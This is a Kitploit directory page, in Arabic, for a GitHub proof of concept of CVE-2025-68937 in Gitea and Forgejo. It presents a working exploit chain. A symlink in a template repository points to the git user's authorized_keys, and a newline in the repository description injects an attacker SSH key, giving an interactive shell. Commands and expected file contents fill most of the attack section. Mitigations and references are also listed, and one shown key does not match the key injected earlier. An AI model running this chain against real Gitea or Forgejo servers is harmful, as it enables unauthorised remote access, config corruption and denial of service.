Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Gitea-Forgejo-CVE-2025-68937 — تجاوز المسار في معالجة قوالب المستودعات في Gitea و Forgejo يسمح للمهاجمين المصادق عليهم عن بُعد بمعالجة ملفات عشوائية على نظام الملفات، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد. | Kitploit
أدوات/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

تجاوز المسار في معالجة قوالب المستودعات في Gitea و Forgejo يسمح للمهاجمين المصادق عليهم عن بُعد بمعالجة ملفات عشوائية على نظام الملفات، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 6 أشهرلم تتم المراجعة بعد

ثغرة توسيع القالب التعسفي في Gitea و Forgejo

forgejo-cve CC BY-SA 4.0

هذا العمل مرخص بموجب رخصة المشاع الإبداعي نسب المصنف - المشاركة على قدم المساواة 4.0 الدولية.

CC BY-SA 4.0

ملخص

أثناء فحص الكود المصدري لـ Forgejo و Gitea لفهم كيفية عمل القوالب بشكل أفضل، اكتشفت ثغرة تسمح لمستخدم مصادق عليه بإنشاء مستودع قالب ضار يمكن استخدامه لمعالجة ملفات عشوائية على نظام الملفات.

عند إنشاء مستودع بناءً على محتوى Git للقالب الضار، سيتمكن القالب من توسيع ملفات عشوائية على نظام الملفات.

من خلال معرفة مسار الدليل الرئيسي لمستخدم git (والذي يكون افتراضيًا /data/git في صورة docker الرسمية)، يمكن للمهاجم توسيع ملف .ssh/authorized_keys الخاص بمستخدم git لحقن مفتاح بدون معامل command، والذي يمكن استخدامه لتنفيذ أوامر عشوائية أو قشرة تفاعلية.

تفاصيل تقنية

الإصدارات المتأثرة: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

المكون المتأثر: مستودعات القوالب

السبب الجذري: إلغاء مرجع الرابط الرمزي عند قراءة وكتابة محتويات ملفات القالب

تدفق الاستغلال

  1. المهاجم يقوم بالمصادقة كمستخدم شرعي

  2. المهاجم ينشئ مستودع قالب ضار يحتوي على رابط رمزي لملف .ssh/authorized_keys الخاص بمستخدم git المُخمن وملف .forgejo/template يشير إلى الرابط الرمزي

  3. المهاجم يضيف مفتاح ssh عام إلى حسابه بتعليق مخصص ينتهي بـ ${REPO_DESCRIPTION}

  4. المهاجم ينشئ مستودعًا يشير إلى مستودع القالب الضار مع تمكين قالب محتوى Git ووصف يحتوي على سطر جديد يتبعه مفتاح ssh عام آخر

  5. تقوم قوالب Gitea/Forgejo بقراءة وقولبة الرابط الرمزي authorized_keys، مما يؤدي إلى توسيع تعليق المفتاح العام المُعيّن سابقًا إلى إدخال عشوائي يتوافق مع وصف مستودع المهاجم، بدون معامل command

  6. يقوم المهاجم بتسجيل الدخول بشكل تفاعلي كمستخدم git باستخدام المفتاح المحقون

من الممكن أيضًا للمهاجم إفساد ملف التكوين أو قاعدة بيانات SQLite أو التسبب في رفض الخدمة عن طريق قراءة ملفات ضخمة.

التخفيف

  • تعطيل التسجيل للمستخدمين غير الموثوقين
  • تعطيل إنشاء المستودعات للمستخدمين غير الموثوقين

إعادة الإنتاج

  1. قم بتثبيت وتكوين إصدار ضعيف من Gitea/Forgejo

  2. قم بتسجيل أو إنشاء حساب للمهاجم باستخدام حساب المسؤول

  3. تسجيل الدخول باستخدام حساب المهاجم

  4. قم بإنشاء مفتاحي SSH مختلفين: واحد لـ Git وآخر لـ SSH التفاعلي

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. أضف محتويات ملف ~/.ssh/attacker-git.pub كمفتاح ssh مخول باستخدام واجهة Gitea/Forgejo

يجب أن يكون تعليق المفتاح موجودًا ويبدو هكذا:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

ملف .ssh/authorized_keys لمستخدم git يبدو الآن هكذا:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. أنشئ مستودع قالب ضار باستخدام واجهة Gitea/Forgejo

  2. استنسخ مستودع القالب وأضف الرابط الرمزي الضار وتكوين القالب

root@kitploit:~
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys

# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template

# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit and push the changes
git add -A
git commit -m 'Initial commit'

git push
  1. أنشئ مستودعًا جديدًا يشير إلى مستودع القالب الضار مع تمكين قالب محتوى Git ووصف يحتوي على سطر جديد يتبعه محتويات ملف ~/.ssh/attacker-ssh.pub

يجب أن يبدو وصف المستودع هكذا:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

كلمة replaced في السطر الأول غير مطلوبة، ولكن يجب التأكد من بقاء السطر الجديد بغض النظر. تعليق attacker@machine في نهاية السطر اختياري أيضًا.

ملف .ssh/authorized_keys الناتج لمستخدم git سيبدو هكذا:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. اتصل باستخدام مفتاح ~/.ssh/attacker-ssh وعميل ssh
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

المراجع

  • Gitea release notes
  • Gitea pull request
  • Forgejo 13.0.2 release notes
  • Forgejo 11.0.7 release notes
  • Forgejo patch
تنزيل الأداة